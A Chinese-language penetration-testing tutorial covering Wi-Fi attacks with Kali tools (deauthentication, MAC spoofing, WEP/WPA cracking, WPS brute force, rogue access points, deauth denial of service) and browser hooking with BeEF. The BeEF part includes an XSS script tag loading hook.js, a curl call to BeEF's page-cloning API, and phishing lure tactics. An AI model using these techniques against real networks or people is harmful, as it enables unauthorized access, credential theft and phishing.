在我们和其他任何目标(潜在的)网络交互之前,必须确认我们的无线网卡有数据包注入的能力。要做到这一点,需在终端窗口的shell提示符下,运行以下命令:
上面的命令执行结果如下图所示,-9表示注入测试。

运行aireplay-ng-9 mon0命令
Kismet
最重要的无线侦察工具是Kismet,它是一个802.11无线探测器、嗅探器和入侵检测系统。
Kismet可用于收集以下信息:
- 无线网络的名称,ESSID。
- 无线网络的信道。
- 接入点的MAC地址,BSSID。
- 无线客户端的MAC地址。
Kismet也可以用来嗅探802.11a、802.11b、802.11g和802.11n等无线通信流量中的数据。并支持用于嗅探其他无线协议的插件。
在终端窗口的命令提示符下输入kismet启动Kismet。
当Kismet启动后,你将面临一系列的问题,允许你在其启动过程中对其进行配置。用Yes回应Can you see colors,接受Kismet is running as root(Kismet以root权限运行),并对Start Kismet Server选择Yes。在Kismet的启动选项中,不选中Show Console(显示控制台),因为它会遮挡屏幕。启动Kismet(见下图)。

运行Kali的Kismet
系统将提示你添加一个捕捉接口,通常我们选择wlan0。
Kismet开始嗅探数据包,并收集位于临近物理区域的所有无线系统信息。
通过双击Kismet选择一个网络,你可以在无线网络上看到一些额外的信息。
你也可以深入研究以确定连接到各种无线网络的特定客户端。
使用Kismet作为发起一些特定的攻击(嗅探发送的数据)或识别网络的初始侦察工具。因为它能被动地收集连接数据,所以它是一个很好的隐蔽识别网络的工具,尤其是当SSID未被公开传输时。
3. 绕过一个隐藏的服务集标识符
ESSID是标识一个无线局域网络的唯一字符序列。通过隐藏ESSID来试图实现网络安全是一个很差的方法;不幸的是,ESSID可以通过以下方式获得:
- 嗅探无线环境,等待客户端关联到一个网络,然后捕获该关联。
- 主动取消鉴定客户端,强制客户端关联,然后捕获该关联。
aircrack工具特别适合捕捉需要取消ESSID隐藏的数据,正如以下步骤所示:
1)、在命令提示符下,输入以下命令,确认无线在受攻击系统中已经启动:
2)、使用下面的ifconfig命令,检查可用接口,并确定你使用的无线系统的确切名称。
3)、输入以下命令来启用你的无线接口(你可能需要把wlan0换成上一步骤中,确认可用的无线接口):
4)、如果你使用ifconfig再次确认(见下图),你会发现有一个监控或mon0地址正在被使用。现在,使用airodump确认可用的无线网络,如下面给出的命令:

使用ifconfig确认可用无线网络
正如你所看到的,第一个网络的ESSID标识是被认定为<length:9>。没有其他的名字或名称被使用。隐藏的ESSID长度被确定由9个字符组成;然而,这个值可能不正确,因为ESSID是隐藏的。真正的ESSID长度实际上可能短于或超过9个字符。
最重要的是可能存在已连接到该特定网络的客户机。如果客户端存在,我们将取消鉴定客户端,迫使他们在重新连接接入点时发送ESSID。
重新运行airodump,并滤掉目标接入点之外的一切信息。在这种特殊情况下,我们将重点从隐藏网络的信道6上收集数据,使用以下命令:
执行该命令删除多个无线源的输出,并允许攻击者把重点放在目标ESSID上,如下图所示。

使用airodump-ng-c 6 mon0命令
执行airodump命令时得到的数据表明,这有一个站点(00:0E:2E:CF:8C:7C)已连接到BSSID(00:18:39:D5:5D:61),而这又与隐藏的ESSID相关联。
为了截获正在传输的ESSID,我们必须创建一种条件,即可以让我们知道,这将在客户端和接入点之间连接发送的初始阶段。
因此,我们将针对客户端和接入点发起一个取消鉴定的攻击,发送一个可以中断它们之间的连接,并迫使它们重新鉴定的数据包流。
发动攻击,打开一个新的命令shell,并输入如下图所示的命令(0表明我们正在启动一个取消鉴定攻击,10表明我们将发送10个取消鉴定数据包,-a是目标接入点,c是客户端的MAC地址)。

使用aireplay-ng-0 10-a-c命令
在所有的取消鉴定数据包发送之后,返回在信道6中,可以监视网络连接的原始窗口,如下图所示。现在,你将看到清晰的ESSID。

看到清晰的ESSID
ESSID可以帮助攻击者,确认他们正在关注的是正确的网络(因为大多数ESSID基于企业标识),并使登录过程更便利。
4. 绕过MAC地址验证
媒体访问控制(Media Access Control,MAC)地址,用于在网络中唯一地标识每个节点。它是由六对用冒号或连字符分开的十六进制形式的数字(0-9和字母A到F)组成的,看起来通常像这个样子:00:50:56:C0:00:01。
MAC地址,通常关联到一个拥有网络能力的网络适配器或设备;因为这个原因,它经常被称为物理地址。
MAC地址的前三对数字被称为组织唯一标识符(Organizational Unique Identifier),他们用来确定生产或销售设备的公司。最后三对数字是特定于设备的,可以认为是一个序列号。
因为MAC地址是唯一的,它可以用来将一个用户关联到一个特定的网络,尤其是无线网络。这有两个重要的含义——它可以用来识别网络访问者是一名黑客,还是一名的合法网络测试者,它也可以作为鉴定个体身份,并授权他们访问网络权限的工具。
在渗透测试的过程中,测试人员可能更喜欢匿名访问网络。支持匿名信息的方法是改变攻击系统的MAC地址。
这可以使用ifconfig命令手动完成。确定现有的MAC地址,运行命令解释器中的以下命令:

要手动更改IP地址,使用下面的命令:

替换不同的十六进制对的“xx”表达式。这个命令将允许我们更改攻击系统的MAC地址,更改为受害者网络接受的MAC地址。攻击者必须确保这个MAC地址并没有在网络上使用,否则,如果网络被监控,重复的MAC地址可能会触发警报。
在改变MAC地址之前,无线接口必须被关闭。
Kali还允许使用一个自动化工具macchanger。要改变攻击者的MAC地址,为同一供应商生产的产品的MAC地址,可从终端窗口中使用如下macchanger命令:
要改变现有的MAC地址为一个完全随机的MAC地址,可使用以下命令,运行该命令后的屏幕截图如下图所示:

运行macchanger wlan0-r
有些攻击者在测试过程中,使用自动化脚本频繁地改变他们的MAC地址,以实现匿名化他们的攻击活动。
许多组织,尤其是学院和大学等大型学术团体,使用MAC地址过滤来控制谁可以访问他们的无线网络资源。MAC地址过滤使用网卡上唯一的MAC地址来控制对网络资源的访问;在一个典型的配置中,该组织维护一个允许访问网络的MAC地址白名单(whitelist)。如果传入的MAC地址不在已批准的访问列表中,将限制其连接到该网络。
不幸的是,MAC地址信息以明文传输。攻击者可以使用airodump收集接收到的MAC地址列表,然后手动改变他们的MAC地址为目标网络接受的MAC地址。因此,这种类型的过滤几乎没有为无线网络提供任何实质的保护。
一个最新水平的无线保护是由加密提供的。
5. 破解WEP加密
无线等效保密协议(Wireless Equivalent Privacy,WEP)起源于1999年,其针对802.11无线网络,提供一定程度保密性的工具,这就相当于是一个可以和有线网络等价的设备。在对其实施加密时,多个漏洞被快速发现,到2004年,它被WiFi访问保护(WiFi Protected Access,WPA)协议所取代。
WEP今天仍在使用,尤其是无法支持新无线路由器所需资源的较老的网络。在最近的一次主要城市中心无线调查显示:几乎25%的加密无线网络仍在继续使用WEP。许多这样的网络均与金融机构关联。
WEP的主要缺陷之一,是在重用初始化向量(Initialization Vector,IV)中确定的。WEP依赖于RC4加密算法,这是一种流密码——相同的加密密钥不能重复使用。IV用于防范密钥的重用,通过引入随机元素来加密数据。不幸的是,24位的IV太短而不能防止密钥重复;此外,在5000数据包被传输之后,有50%的概率会重复IV。
攻击者可以窃听或截取WEP加密数据流。根据用于备查的拦截数据包的数量,密钥可以被迅速恢复。在实践中,大多数WEP密钥可以在三分钟内被获取或破解。
要实施WEP破解工作,你还需要了解目标的以下信息:
- 无线网络的名称或ESSID。
- MAC地址的访问点,BSSID。
- 使用的无线信道。
- 无线客户机的MAC地址。
针对WEP最常见的攻击,可以通过执行以下步骤实现:
1)、首先,使用以下命令确定可用的无线网络接口:
2)、停止改变该接口的MAC地址为一个已经与目标网络关联的现有客户端的MAC地址。你还可以使用macchanger实现这一步。当MAC地址已更改时,重新启用airmon-ng。使用以下命令来完成这些步骤:

使用已知的并且被认可的MAC地址,可以简化攻击。然而,事实并非总是如此。这种攻击假设你并不知道该MAC地址。相反,我们将在网络上创建一个假的关联。
3)、使用下面的airodump命令来定位目标无线网络:
当airodump定位目标时,可以按Ctrl+C停止搜索。复制BSSID中的MAC地址,并记录信道。从下图的示例可以看出,目标网络dd_wep正在信道6上以11MB的速度运行。

使用airodump命令
4)、采用airodump-ng嗅探无线流量,并使用以下命令收集IV,其中–bssid用来选择目标BSSID、-c指示使用的信道,而-w用来给出输出文件的名字(wep_out)。

5)、现在我们需要增加传输的IV数据包的数量。重新打开一个新的终端窗口(不要关闭第一个),输入以下命令伪造目标无线接入点的可验证身份:

这里,-1表示一个假身份证明,而0是重新关联的时间,单位为秒(设置为0可以提醒防御者,因此攻击者可能会把它设置为30或更高)。
6)、使用假的身份证明,我们将产生来自受信任的MAC地址的流量,并将其路由到目标无线接入点。

这种攻击即为ARP注入或ARP重定向攻击。通常情况下,目标接入点将重播ARP数据包,并且每次生成一个新的IV;自然,这是一个快速生成必要IV的方法。
前面命令的执行结果,如下图所示。

使用aireplay-ng-3-b命令
7)、在ARP注入持续的过程中生成一些额外的数据包。打开另外一个终端窗口,并通过输入如下命令,启用一个交互式数据包重放攻击:

这里,-2表示我们正在使用交互式重放攻击,-p 0841为数据包设置帧控制字段,使它看起来好像来自一个无线客户端,-c FF:FF:FF:FF:FF:FF设置目的地址(在这种情况下,FF表示将数据包发送到网络上的所有主机),-b是BSSID的MAC地址,而-h是正在传输的与测试者MAC地址相匹配的数据包MAC地址。
前面命令的执行结果,如下图所示。

使用aireplay-ng-2-p命令
8)、另一种使网络忙碌的方法是在攻击的系统上打开多个命令脚本,并输入如下命令用目标的IP地址替代原IP地址:
9)、收集和保存足够的数据包之后,使用下面的aircrack-ng命令破解WEP密钥,其中-a 1集中攻击模式为静态WEP,-b是BSSID,而dd_wep.cap是包含截获IV的截获文件。
如下图所示,该攻击是成功的且密码均被确认。(虽然它看起来是一个十六进制数,但你可以简单地输入它,并登录到WEP网络上。)

使用aircrack -ng -a 1 -b命令
虽然这次演示集中在64位的密钥上,一旦你从接入点收获了IV,那么长密钥在破解过程中并不一定会花费更多时间。
该工具的aircrack-ng组件是“黄金标准”,其提供了最可靠和有效的接入方法。然而,Kali附带的一些其他工具也可以帮助你破解加密的无线网络。
其中之一是Fern WiFi Cracker,它是集成了aircrack-ng的Python图形用户界面。它可以自动扫描无线网络,并识别WEP、WPA和WPA2网络。一旦网络被识别,攻击者可以利用几个方面的特性来攻击,其中包括以下几点:
- 使用各种攻击实现WEP破解,包括分片、切片、Caffe Latte、Hirte、ARP重定向,或者WPS攻击。
- 使用字典,或基于WPS的攻击,来破解WPA和WPA2。
- 成功破解之后,自动把密钥保存在一个数据库中。
- 内部中间人引擎支持会话劫持。
- 暴力攻击,可以攻击HTTP、HTTPS、Telnet和FTP。
Fern的界面很干净,它可以指导用户选择接口和扫描接入点。它将报告WEP和WPA/WPA2的接入点;从这时开始,即可通过点击适当的按钮来发起攻击。最初的Fern启动屏幕如下图所示。

Fern启动屏幕
尽管Fern是一个很好的工具,但大多数测试人员并不完全依赖它——如果识别密钥或者获得网络接入失败,失败的原因将隐藏在图形用户界面之后,这将使故障诊断变得很困难。
一个类似的应用程序是Wifite无线审计师(Wifite wireless auditor),其提出了一个基于文本的界面来支持测试。它已经被证明在测试领域是非常有效的,它的特点和优势包括以下几个方面:
Wifite支持通过在攻击之前改变攻击者的MAC地址为随机的MAC地址来实现匿名,然后,当所有的攻击完成之后再把MAC地址改回来。
通过信号强度对目标进行排序(用dB表示),并优先破解最近的接入点。
自动取消鉴定隐藏在网络中的客户端,用于显示SSID。
支持多种攻击类型。
如下图中显示的示例,选择攻击一个单一的目标dd_wep。不需要其他与该应用程序的交互,它自己完成了所有破解,并把破解的密钥保存到数据库中。

启动Wifite攻击
虽然过时WEP的脆弱性众所周知,并被Kali的一些基本工具所证明,但强WPA加密协议该如何抵制攻击?
6. 攻击WPA和WPA2
无线访问保护(WiFi Protected Access,WPA)和无线访问保护2(WiFi Protected Access 2,WPA2)是用于解决WEP安全缺陷的无线安全协议。因为WPA协议可以为每一个数据包动态生成新的密钥,阻止那些导致无线保护访问失败的统计分析。然而,它们仍然很容易受到一些攻击技术的攻击。
WPA和WPA2经常使用预共享密钥(pre-shared key,PSK)进行部署,来提供访问点和无线客户端之间的安全通信。PSK是一个至少13个字符长的随机密码;如果不是13字符长,对一个已知的字典,使用暴力攻击来确定一个PSK是可能的。这是最常见的攻击。(注意,如果是在Enterprise模式中进行配置,其可以使用RADIUS认证服务器提供身份认证,从我们的角度来看,WPA是“牢不可破”的!)
(1)暴力攻击
不像WEP,可以被对大量数据包的统计分析所破解,WPA解密需要攻击者创建特定的、已知详细信息的数据包类型,如接入点和客户端之间的信号交换信息。
攻击一个WPA传输,应该执行以下步骤:
1)、启动无线适配器,并使用ifconfig命令来确保已创建监控界面。
2)、使用airodump-ng-wlan0识别目标网络。
3)、开始使用以下命令捕获目标接入点和客户端之间的流量:

设置-c监控特定信道,–showack标志用来确保客户端计算机认可你的请求,即从无线接入点取消鉴定;而-w把输出写入一个用于后续字典攻击的文件中。这种攻击的典型输出如下图所示。

一个典型的输出
4)、使该终端窗口处于打开状态,并打开另一个终端窗口发起取消鉴定攻击;这将迫使用户重新认证目标接入点,并再次交换WPA密钥。取消鉴定攻击的命令如下所示:

执行上述命令的结果如下图所示。

执行aireplay-ng-0 10命令
成功取消鉴定攻击将显示ACKs,这表明连接到目标接入点的客户端,已接收到刚刚发送的取消鉴定命令。
5)、回顾最初用于监控无线传输的开放命令脚本,确保你捕获了4次握手信息。一个成功的WPA握手会在顶部右手边的控制台中显示。在下图的示例中,数据显示WPA握手的值是28:10:7B:61:20:32:

捕获握手信息
6)、由aircrack破解WPA密钥,使用一个定义的词库。由攻击者定义的,用于收集握手交互信息数据的文件名位于根目录下,而且-01.cap的扩展名将被加载到该文件名中。
在Kali中,词库位于/usr/share/wordlists目录中。虽然几种词库均是可用的,但还是建议你下载在破解常见密码中最有效的列表。
在上述示例中,密钥被预先放置在密码列表里。实施字典攻击一段时间后,破解复杂的密码可能需要花费几个小时,这取决于该系统的配置。下面的命令使用字(words)作为源词库。
下图显示了成功破解WPA密钥的结果;网络监工的秘钥,在测试44个秘钥之后被发现是princessmouse。

发现秘钥
如果你手上没有一个定制的密码列表或者希望迅速生成一个列表,你可以使用Kali的crunch应用程序。下面的命令指导crunch程序使用给定的字符集,创建一个最小长度5字符和最大长度25字符的单词列表。

你还可以使用基于GPU的密码破解工具,提高暴力攻击的有效性(AMD/ATI的图形卡oclHashcat和英伟达显卡cudaHashcat)。
要实现这种攻击,首先需要使用以下命令把WPA握手信号交互捕获的文件psk-01.cap转换成hashcat文件:
转换完成后,针对最新捕获文件,使用以下命令运行hashcat(选择匹配你的CPU架构和图形卡的hashcat版本):

(2)使用Reaver攻击无线路由器
WEP和WPA2也很容易受到针对无线保护设置的接入点、WPS和个人识别码的攻击。
大多数接入点支持WiFi保护设置(WiFi Protected Setup,WPS)协议,其在2006年成为一个允许用户很轻松地设置和配置接入点的标准,并可以为现有网络增加新设备,而无需重新输入大量且复杂的密码。
不幸的是,该个人识别码为一个8位数字序号(可能是100000000),并且最后一个数字是一个校验值。因为WPS认证协议把该个人识别码一分为二,并分别对其进行验证,那就意味着它的前半部分的值为104(10000),后半部分的值为103(1000)——攻击者只需通过进行最大数量为11000次猜测就能破解该接入点!
Reaver是一种旨在最大限度地进行猜测的工具(尽管Wifite同样可以进行WPS猜测)。
进行Reaver攻击,可以通过如下命令使用一个叫作wash的同类工具来识别网络的任何漏洞:
如果该网络有任何网络漏洞,可以使用如下命令发起对这些漏洞的攻击:
在Kali中测试这种攻击表明,这种攻击速度缓慢且容易失败;然而,它可以用作背景攻击,或者补充其他路由攻击来破解WPA网络。
7. 克隆接入点
一个针对无线网络比较有趣的攻击是依赖克隆接入点,当用户试图连接到克隆点时,监测其传输的信息。攻击者不仅可以获得认证凭件,也可以使用中间人攻击拦截或重定向网络流量。
Kali中包含了几个声称用来支持克隆或盗窃接入点的工具;但是,此时这些工具有一些缺陷。比如,社会工程学的Toolkit和Websploit不能与预装在Kali系统中的DHCP服务器集成。
大多数攻击者都在寻找外部工具,包括Gerix或者easy-creds等脚本;自然,aircrack-ng组件也包含一个用于克隆接入点的airbase-ng工具。
为了伪造一个无线接入点,攻击者将完成以下任务:
1)、在监视模式中启用wlan0端口,这将创建一个用于监视的mon0接口,使用以下命令:
2)、使用以下命令在mon0上建立接入点(AP)。社会工程学对成功的AP有重要的影响,例如,可以使用一个吸引目标客户端的名字。这个示例中,我们将使用一个通用的开放WiFi网络。它将在WiFi信道6上被建立:

3)、使用如下命令安装公共桥:
4)、在另一个终端窗口中,创建一个桥(rogue),并且使用公共桥(注意,这些公共桥接必需首先使用apt-get install bridge-utils安装)连接at0(该at 0接口是通过前面的命令创建的)到eth0。

因为这两个接口都集成到了该虚拟桥中,所以你可以使用如下命令获得它们的IP地址:

5)、使用以下命令启用桥接器之上的IP转发功能:
6)、使用如下命令,用局域网的IP地址配置该桥接器,使其连接到eth0端口:

7)、使用如下命令,启用AP来嗅探认证握手交互信息:
8. 拒绝服务攻击
我们将要评估的最后一个针对无线网络的攻击是拒绝服务攻击,在这里,攻击者将使合法用户访问无线网络的权限丧失,或通过致使网络崩溃的方法使网络不可用。无线网络极其容易受拒绝服务攻击,并且在分布式的无线网络上,很难定位攻击者。拒绝服务攻击的例子包括以下内容:
- 注入制作网络命令,比如在无线网络上重新配置命令可能引起路由器、交换机和其他网络设备的失效。
- 一些设备和应用程序可以识别正在发生的攻击,并通过自动禁用网络来实现响应。恶意的攻击者可以发起一个很明显的攻击,然后让目标自己创建拒绝服务攻击。
- 用大量数据包洪泛攻击无线网络,可以致使该网络不可用;例如,HTTP洪泛攻击可以使数千个页面同时请求访问一个Web服务器,这可以耗尽该Web服务器的处理能力。在相同的方式下,使用认证和关联数据包块,用户可从其连接的接入点洪泛攻击该网络。
- 攻击者通过精心设计具体的解除认证和解除关联的命令,可以在无线网络中,用关闭授权连接来洪泛攻击该网络,并停止合法用户维护他们到无线接入点的连接。
为了证明最后一点,我们将使用取消认证数据包,来创建一个泛洪拒绝服务攻击。因为无线802.11协议是在收到定义的数据包时建立的,且其支持解除认证(所以,当连接不需要时,用户可以中断该连接),这可能是一个毁灭性的攻击——它符合标准,并且没有办法可阻止其发生。
使合法用户关闭网络的最简单方法是针对他们使用一个解除认证数据包流。这些可以在aircrack-ng工具套件的帮助下完成,使用如下命令:
此命令确定攻击类型为-0,表明它是一个取消鉴定攻击。第二个0(零)发射连续的取消鉴定数据包流,使得网络无法为其他用户所用。
Websploit框架是用来扫描和分析远程系统的开源工具。它包含几个工具,包括特定的无线攻击工具。要启动它,需要打开一个命令脚本并简单地输入websploit。
该Websploit界面类似于recon-ng和Metasploit框架,并将其作为一个模块化接口显示给用户。
一经发起,可以使用show modules命令来显示在现有版本中的攻击模块。使用use wifi/wifi_jammer命令选择WiFi干扰发射机(一种取消鉴定数据包流)。如下图所示,攻击者只需要使用set命令来设置各种选项,然后选择run发起攻击。
9. 小结
研究了针对无线网络攻击的几个成功的管理任务,包括无线适配器的选择、无线调制解调器的配置,以及侦察工具如aircrack-ng Kismet。我们重点使用了aircrack-ng的工具组件来确定隐藏网络,绕过MAC地址认证,并破解WEP和WPA/WPA2加密。我们也看到了如何克隆或复制无线接入点,以及如何针对无线网络执行拒绝服务攻击。
八. 浏览器攻击
笔者发现国内很少有系统介绍BeEF框架的文章,所以笔者决定写一个。内容涉及攻击浏览器的技术,主要介绍这些技术的原理,并如何操作BeEF来实现,不涉及浏览器本身漏洞(门槛太高,笔者有心无力)。
预备知识
在看这个系列之前,读者最好要有一定知识储备。首先是对HTTP协议(CORS、 CSP等)要有一定的理解,其次是理解Web安全的常见攻击技术的原理和防御方法(比如XSS、CSRF、SQL inject等), 最后如果读者懂javascript语言就更好(可选,笔者的js也不咋地)。笔者认为学习BeEF框架的难度大概和学习Metasploit、 Burp Suite 的难度差不多。
下面给出学习这些知识的参考:
HTTP 协议相关文档: https://developer.mozilla.org/zh-CN/docs/Web/HTTP
浏览器攻击技术原理: 黑客攻防技术宝典浏览器实战篇 (书)
BeEF 框架相关文档: https://github.com/beefproject/beef/wiki
同源策略
说到攻击浏览器,那么就一定要说同源策略(Same Origin Policy, SOP)。 同源策略是用于限制不同来源的资源之间的交互。在浏览器上定义了对于不同的页面,如果他们的主机名、协议和端口都相同,即为同源。记得三个要素主机名、协议和端口。来个例子:
http://www.A.com/index.html 的js是不能读/写 http://www.B.com/index.html, https://www.A.com/index.html, http://www.A.com:8080/index.html 的内容。
BeEF框架
BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护。是由ruby语言开发的专门针对浏览器攻击的框架。这个框架也属于cs的结构,具体可以看下图:

zombie(僵尸)即受害的浏览器。zombie是被hook(勾连)的,如果浏览器访问了有勾子(由js编写)的页面,就会被hook,勾连的浏览器会执行初始代码返回一些信息,接着zombie会每隔一段时间(默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用,被分为前端UI, 和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录BeEF 的后台管理UI。
BeEF 安装和配置
BeEF 需要ruby 2.3 + 和 SQLite (或者mysql/postgres)。
在kali下使用BeEF
kali默认已经安装BeEF了。BeEF是Favorites 菜单中的一个(可以看出它的受欢迎程度和地位了),其标志是一个蓝色的公牛。命令是beef-xss:

打开五秒后,它还会使用浏览器打开管理页面的UI,默认帐号密码是:beef/beef,默认管理页面的UI 地址是:http://127.0.0.1:3000/ui/panel
kali已经把beef-xss做成服务了,推荐使用systemctl 命令来启动或关闭beef服务器
1 | systemctl start beef-xss.service #开启beef |
在ubuntu17.10中安装BeEF
如果只是作为测试或者学习,使用kali中beef就已经足够了。如果是希望在真实环境中使用,那么就需要一台拥有独立ip的主机(能被访问),下面笔者介绍在一台vps,系统是ubuntu 17.10系统中安装的过程, 如果没有vps, 可以跳过这一部分。
首先在vps中,初始用户一般是root。root是没法安装某些ruby的一些扩展包(考虑到安全问题),所以需要一个降权的用户。
1 | #创建一个beef的用户 |
接着就是安装beef了
1 | #进入家目录 |
笔者在安装过程中遇到/var/lib/gems/2.3.0, /usr/local/bin 这两个目录没有写权限的错误,下面是解决方法:
1 | sudo chmod g+w /var/lib/gems/2.3.0 |
环境不同也许读者会遇到别的错误。遇到错误可以先看一下错误信息,看看能否自行解决,如果不行,那么就查找网上帮助。在互联网中,想要找一个问题的答案,使用错误信息来搜索往往是最快的。
把beef从sudo, root 组中移除:
1 | #运行 |
最后运行beef, 建议别使用root来运行beef服务器, 既然已经创建了一个id为beef的用户,那么以后都以这个用户来运行beef服务器会更好。
1 | #进入beef所在目录 |
配置BeEF
kali下的BeEF配置文件在 /usr/share/beef-xss/config.yaml,其它的配置文件也在这个目录的子目录下,往后在使用某些功能时,需要修改对应的配置文件。自主安装的BeEF配置文件会在BeEF的主目录下config.yaml,建议修改几个地方:
1 | ### 指定某个网段,只有在这个网段的浏览器才能被hook |
小试牛刀
接下来实际使用BeEF,体验一下。先开启BeEF服务器,接着用浏览器访问管理页面http://127.0.0.1:3000/ui/panel, 使用设置的用户/密码登录。
接着访问有勾子的页面http://127.0.0.1:3000/demos/basic.html 这里的主机名和端口号要按照你设置的来修改, 这里要注意一下kali下beef版本的勾子不支持IE8,最新版或者旧一些的版本可以。所以要使用其他浏览器来访问有勾子的页面。
下面给出一个写有勾子的页面,把创建文件test.html,并把下面内容写到其中:
1 | <html> |
接着使用一个浏览器来打开,那么这个浏览器就会被hook了。
查看管理页面UI会是类似下面图:


选一个简单的模块来试试, 下图是选用了Host –> Detect Virtual Machine 模块来查看受害浏览器是否在虚拟机上运行的:

BeEF的入门使用就是这么简单,所有的功能都已经写好了,我们只需要选择模块,设置参数(有时不需要),点击Execute 就可以了。 当然必须知道这些模块的作用才行。
读者可能发现在每个模块的前面都有一个有色(绿色,灰色,橙色,红色)的小圆标志。

在内部,BeEF可以检测出哪些命令模块可以在当前受害的浏览器工作, 并用颜色表示:
绿色:命令模块可以在目标浏览器上运行,且用户不会感到任何异常
橙色:命令模块可以在目标浏览器上运行,但是用户可能会感到异常(比如可能会有弹窗,提示,跳转等)
灰色:命令模块尚未针对此目标进行验证,即不知道能否可运行
红色:命令模块不适用于此目标
浏览器攻击方法流程
攻击浏览器一般分为几个阶段,看下图:

整个过程分为三个步骤,第一步是初始化控制,第二步是持续控制,第三步是攻击。在第三步中的七个攻击方法是可以交叉的,比如可以同时攻击用户和攻击Web应用。接下来会一一的介绍这些内容。
初始化控制
首先介绍初始化控制的方法。初始化控制也就是想办法让BeEF服务器勾子(还记得上一章的hook.js吗)在用户浏览器中运行,勾子初次运行会收集一些有用的信息返回给服务器,并做好后续准备。初始化控制常见的攻击方法有以下几个:
1.使用XSS攻击
2.使用有隐患的Web应用
3.使用广告网络
4.使用社会工程攻击
5.使用中间人攻击
上面这个五个方法是比较常见,并不代表全部的攻击方法。下面就一一介绍这五种方法。
使用XSS攻击
Freebuf有很多关于XSS的文章,读者可以自行查阅。这里就不展开说,留点篇幅来介绍其他的方法。使用XSS攻击能在页面中插入类似下面的语句就可以了。
1 | <script src="http://127.0.0.1:3000/hook.js"></script> |
如果是在真实环境中使用,那么就有可能需要绕过XSS的防御机制。XSS的防御机制可以大致分为浏览器XSS防御机制和服务器的WAF。现代浏览器中都内置了XSS防御机制,比如Chrome和Safari的XSS Auditor, IE的XSS过滤器, 以及Firefox的NoScript扩展。笔者在用dwva做反射型xss测试时发现一个有意思的事情,国内的一些流行的浏览虽然能检测出XSS的向量,却还是加载并运行XSS的向量。至于服务器的WAF,这就有很多了。上述的两种XSS防御机制是有可能被绕过的。
对于BeEF这种需要加载远程js(hook.js)的XSS攻击,还有一种更好防御方法。那就是CSP(Content Security Policy, 内容安全策略),CSP是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。这里只介绍CSP是如何防御BeEF这种攻击的,CSP详细的内容读者可以参考:
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP
https://developer.mozilla.org/zh-CN/docs/Web/Security/CSP/CSP_policy_directives
对于防御BeEF这类需要加载远程js的攻击来说可以使用CSP规定页面从哪里加载脚本,同时还可以规定对这些脚本作出限制,比如限制执行javascript的eval()函数。
可以通过两种方法来使用CSP, 一种是配置WEB服务器返回Content-Security-Policy 首部, 第二种是使用元素。
下面给个典型的例子:
1 | Content-Security-Policy: default-src 'self' //网站管理者想要页面的所有内容(js, 图片, css等资源)均来自站点的同一个源 (不包括其子域名) |
上面的CSP指令,会告诉浏览器,这个页面只加载同源(还记得同源策略吗)的资源,这样就可以防御对于需要加载异源的BeEF攻击了。CSP也不是一定就安全的,网上也有一些文章在讨论如何绕过CSP。感兴趣的读者可以自己去找来看。
使用有安全漏洞的Web应用
这种方法主要是通过Web漏洞来修改网页的内容,让其包含恶意的代码,对于BeEF来讲就是在网页中加入勾子。利用Web应用可以涉及各种攻击,这里就不展开讨论了。
使用广告网路
现在的网络广告满街是了,打开一个普通网站就有一堆的广告。一旦广告网络被用来传播恶意的代码,那么就是很可怕的一件事情了。要使用这个方法就必须到广告商哪里注册,并且需要花钱。但是效果是显著的,一旦广告上线,就会有一大批的小僵尸了。
使用社会工程攻击
社会工程的攻击方法多种多样。在使用BeEF框架攻击时,我们首要的目的是让目标浏览器执行初始化的代码(勾子)。所以这里只介绍诱导用户访问欺骗性网站这种类型的社会工程攻击方法。这种方法一般分为两个步骤,第一步是构建网站,第二步是放出诱饵。
构建网站
构建网站常用的有两个方法:
1.自己从头开始构建网站。效果最好,成本也最高
2.克隆已有站点。最常使用
克隆站点有几个方法,下面介绍一下。
第一种方法是最简单的,就是直接到网站下载它的页面。
第二种可以使用wget来克隆:
1 | wget -k -p -nH -N http://xxxweb.com |
克隆完成后需要在页面中加入勾子的URL。
第三种方法是使用BeEF的社会工程扩展中的Web克隆功能,这个功能默认会在被克隆的网站内容中注入勾子。下面在kali下演示一下怎么使用。
先进入beef的目录/usr/share/beef-xss(直接以beef-xss或者systemctl来启动beef,是无法看到API的token的),接着执行./beef,就会如下图:

接着使用BeEF的REST风格API来克隆:
1 | curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"<URL of site to clone>", "mount":"<where to mount>"}' -X POST http://<BeEFURL>/api/seng/clone_page?token=<token> |
运行上面的代码可以看到BeEF控制台会有如下输出:

接着试试访问http://127.0.0.1:3000/testclone,你会看到是百度的首页。

这个页面是有勾子的,访问这个页面,也意味着该浏览器已经成为了僵尸了。这个页面的文件在/usr/share/beef-xss/extensions/social_engineering/web_cloner/cloned_pages下,名为www.baidu.com_mod 的文件,可以修改定制或者把它复制到别的主机中做钓鱼页面。
除了这三种克隆的方法,还有很多其他的方法。笔者推荐使用BeEF的克隆功能,并且做一些改动,比如增加一个错误页面。
放出诱饵
现在欺骗性的网站已经有了,那么接下来就是要让目标去访问它了。方法有很多,下面介绍三种:
1. 发钓鱼邮件
2. 物理诱惑
3. QR码
发钓鱼邮件就简单了,直接把有勾子页面的URL发给目标就可以。最好模糊一下URL,比如缩短URL、重定向URL、使用@等。发邮件的最大问题在于用什么来发,最好的方法是拥有自己的主机和域名,这样就可以设置一个邮件系统,同时也可以在DNS记录中配置SPF。物理诱惑可以是一个简单U盘,U盘里面有一个html文件,这个文件自然是指向有勾子的页面的。最后的QR码就是二维码,这个是比较好的办法,足够隐蔽。
使用中间人攻击
这种方法有一个前提,就是必须与目标在同一个网络。可以窃听网络上的数据,并修改。比如同一局域网,或者使用aircrack-ng等工具来破解wifi密码,然后使用密码登录到同一个wifi网络。使用中间人攻击来达到BeEF框架的初始化攻击主要有以下两种方法:
1.浏览器中间人攻击
2.DNS下毒
浏览器中间人攻击
浏览器中间人攻击是与传统中间人攻击类似的一种方式,只不过完全发生在应用层的http协议上。浏览器中间人攻击就是窃取/修改网络中的http协议。而对于BeEF框架来说自然是要在html页面中加入勾子。笔者分别使用了ettercap, mitmproxy来测试,发现ettercap的测试结果不太理想,所以下面给出mitmproxy的测试方法。kali默认已经安装mitmproxy,mitmproxy是一个中间人攻击的框架(看名字就可以知道了)。
测试环境:
